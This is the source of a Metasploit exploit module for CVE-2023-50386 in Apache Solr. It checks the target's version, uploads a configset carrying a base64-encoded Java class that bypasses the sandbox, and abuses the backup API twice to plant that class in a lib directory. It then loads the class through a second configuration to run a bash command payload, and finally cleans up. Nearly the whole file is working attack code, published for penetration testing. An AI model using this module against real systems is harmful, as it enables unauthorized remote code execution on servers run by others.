metasploit-gs/modules/exploits/linux/http/apache_solr_backup_restore.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Java
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::ApacheSolr

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Solr Backup/Restore APIs RCE',
        'Description' => %q{
          Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File
          with Dangerous Type vulnerability which can result in remote code execution in the context of the user running
          Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load
          some classes from it. The backup function of the Collection can export malicious class files uploaded by
          attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution
          can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
        },
        'Author' => [
          'l3yx', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],
          [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],
          [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],
          [ 'CVE', '2023-50386']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x20"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'FETCH_WRITABLE_DIR' => '/tmp/'
        },
        'DisclosureDate' => '2024-02-24',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8983),
        OptString.new('USERNAME', [false, 'Solr username', 'solr']),
        OptString.new('PASSWORD', [false, 'Solr password']),
        OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),
      ]
    )
  end

  # If authentication is used
  @auth_string = ''

  def check
    print_status('Running check method')
    auth_res = solr_check_auth
    unless auth_res
      return CheckCode::Unknown('Authentication failed!')
    end

    # convert to JSON
    ver_json = auth_res.get_json_document
    # get Solr version
    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])
    print_status("Found Apache Solr #{solr_version}")
    # get OS version details
    @target_platform = ver_json['system']['name']
    target_arch = ver_json['system']['arch']
    target_osver = ver_json['system']['version']
    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")

    unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||
           solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))
      return CheckCode::Safe('Running version of Solr is not vulnerable!')
    end

    CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")
  end

  # This method returns the compiled byte code of the following class, SourceParser.java:
  #
  # package zk_backup_0.configs.confname;
  #
  # import sun.misc.Unsafe;
  # import java.io.BufferedReader;
  # import java.io.File;
  # import java.io.FileOutputStream;
  # import java.io.InputStreamReader;
  # import java.lang.reflect.Field;
  # import java.lang.reflect.Method;
  # import java.security.ProtectionDomain;
  # import java.util.Map;
  #
  #
  # public class SourceParser {
  #
  #     static {
  #         try {
  #             Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
  #             unsafeField.setAccessible(true);
  #             Unsafe unsafe = (Unsafe) unsafeField.get(null);
  #             Module module = Object.class.getModule();
  #             Class<?> currentClass = SourceParser.class;
  #             long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
  #             unsafe.getAndSetObject(currentClass, addr, module);
  #
  #             String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };
  #             Class clz = Class.forName("java.lang.ProcessImpl");
  #             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
  #             method.setAccessible(true);
  #             Process process = (Process) method.invoke(clz, cmd, null, null, null, false);
  #         } catch (Exception e) {
  #             e.printStackTrace();
  #         }
  #     }
  # }
  def go_go_gadget(configuration1_name)
    gadget = ''
    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'
    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'
    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'
    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'
    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'
    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'
    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'
    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'
    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'
    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'
    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'
    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'
    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'
    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'
    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'
    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'
    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'
    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'
    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'
    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'
    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'
    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'
    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'
    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'
    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'
    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'
    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'
    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'
    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'
    gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'
    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='
    gadget = Rex::Text.decode_base64(gadget)
    # Replace 'confname' with our randomized 8 character configuration name
    gadget.sub!('confname', configuration1_name)
    # Replace the placeholder payload with our packed payload which is prefixed with it's size.
    gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))
  end

  def packed_payload(pload)
    "#{[pload.length].pack('n')}#{pload}"
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new
    directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')

    Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|
      if File.file?(file_path)
        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
        file_contents = File.read(file_path)
        zip_file.add_file(relative_path, file_contents)
      elsif File.directory?(file_path)
        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path
        zip_file.add_file(relative_path, nil, recursive: true)
      end
    end

    zip_file
  end

  def upload_conf(file_name, zip_archive, conf_name)
    mime = Rex::MIME::Message.new
    mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")

    res = solr_post({
      'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
      'method' => 'POST',
      'ctype' => 'application/octet-stream',
      'data' => zip_archive,
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'UPLOAD',
        'name' => conf_name
      }
    })

    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    data = res.get_json_document
    if data.dig('responseHeader', 'status') == 0
      print_good('Uploaded configuration successfully')
    elsif data.dig('error', 'msg')
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")
    end
    res
  end

  def create_collection(collection_name, configuration_name)
    solr_get({
      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
      'method' => 'GET',
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'CREATE',
        'name' => collection_name,
        'numShards' => 1,
        'replicationFactor' => 1,
        'wt' => 'json',
        'collection.configName' => configuration_name
      }
    })
  end

  def backup_collection(collection_name, location, backup_name)
    res = solr_get({
      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
      'method' => 'GET',
      'auth' => @auth_string,
      'vars_get' => {
        'action' => 'BACKUP',
        'collection' => collection_name,
        'location' => location,
        'name' => backup_name
      }
    })

    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res

    data = res.get_json_document

    if data.dig('responseHeader', 'status') == 0
      print_good('Backed up collection successfully')
    elsif data.dig('error', 'msg')
      fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
    end
    res
  end

  def cleanup
    print_status('Cleaning up...')

    # Clean up collections and configurations
    # Delete the collection first then the configs or you'll get the following error:
    # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"
    if @collection_res&.code == 200
      delete_collection_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @collection1_name
        }
      })
      print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200
    end

    if @conf1_res&.code == 200
      delete_conf1_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @configuration1_name
        }
      })
      print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200
    end

    if @conf2_res&.code == 200
      delete_conf2_res = solr_get({
        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),
        'method' => 'GET',
        'auth' => @auth_string,
        'vars_get' => {
          'action' => 'DELETE',
          'name' => @configuration2_name
        }
      })
      print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200
    end
  end

  def exploit
    @collection1_name = Rex::Text.rand_text_alpha(8)
    @configuration1_name = Rex::Text.rand_text_alpha_lower(8)
    @collection2_name = Rex::Text.rand_text_alpha(8)

    # Zip up conf1
    conf1_zip = create_zip
    conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))
    conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))

    # Upload conf1
    @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)

    # Create collection from conf1
    @collection_res = create_collection(@collection1_name, @configuration1_name)

    fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res
    data = @collection_res.get_json_document
    if @collection_res.code == 200 && data['responseHeader']['status'] == 0
      vprint_good('Created collection successfully')
    elsif data['error']['msg']
      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")
    end

    # Backup collection and export conf1
    location = '/var/solr/data/'
    backup_name = "#{@collection2_name}_shard1_replica_n1"
    backup_collection(@collection1_name, location, backup_name)

    # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:
    location = "/var/solr/data/#{backup_name}"
    backup_name = 'lib'
    backup_collection(@collection1_name, location, backup_name)

    # Zip up conf2
    conf2_zip = create_zip
    editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))
    editted_solrconfig = editted_solrconfig.gsub('</config>', "     <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")
    conf2_zip.add_file('solrconfig.xml', editted_solrconfig)

    # Upload conf2
    @configuration2_name = Rex::Text.rand_text_alpha(8)
    @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)

    # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the
    # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)
    res = create_collection(@collection2_name, @configuration2_name)

    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res
    data = res&.get_json_document
    if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"
      print_good('Successfully dropped the payload')
    else
      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")
    end
  end
end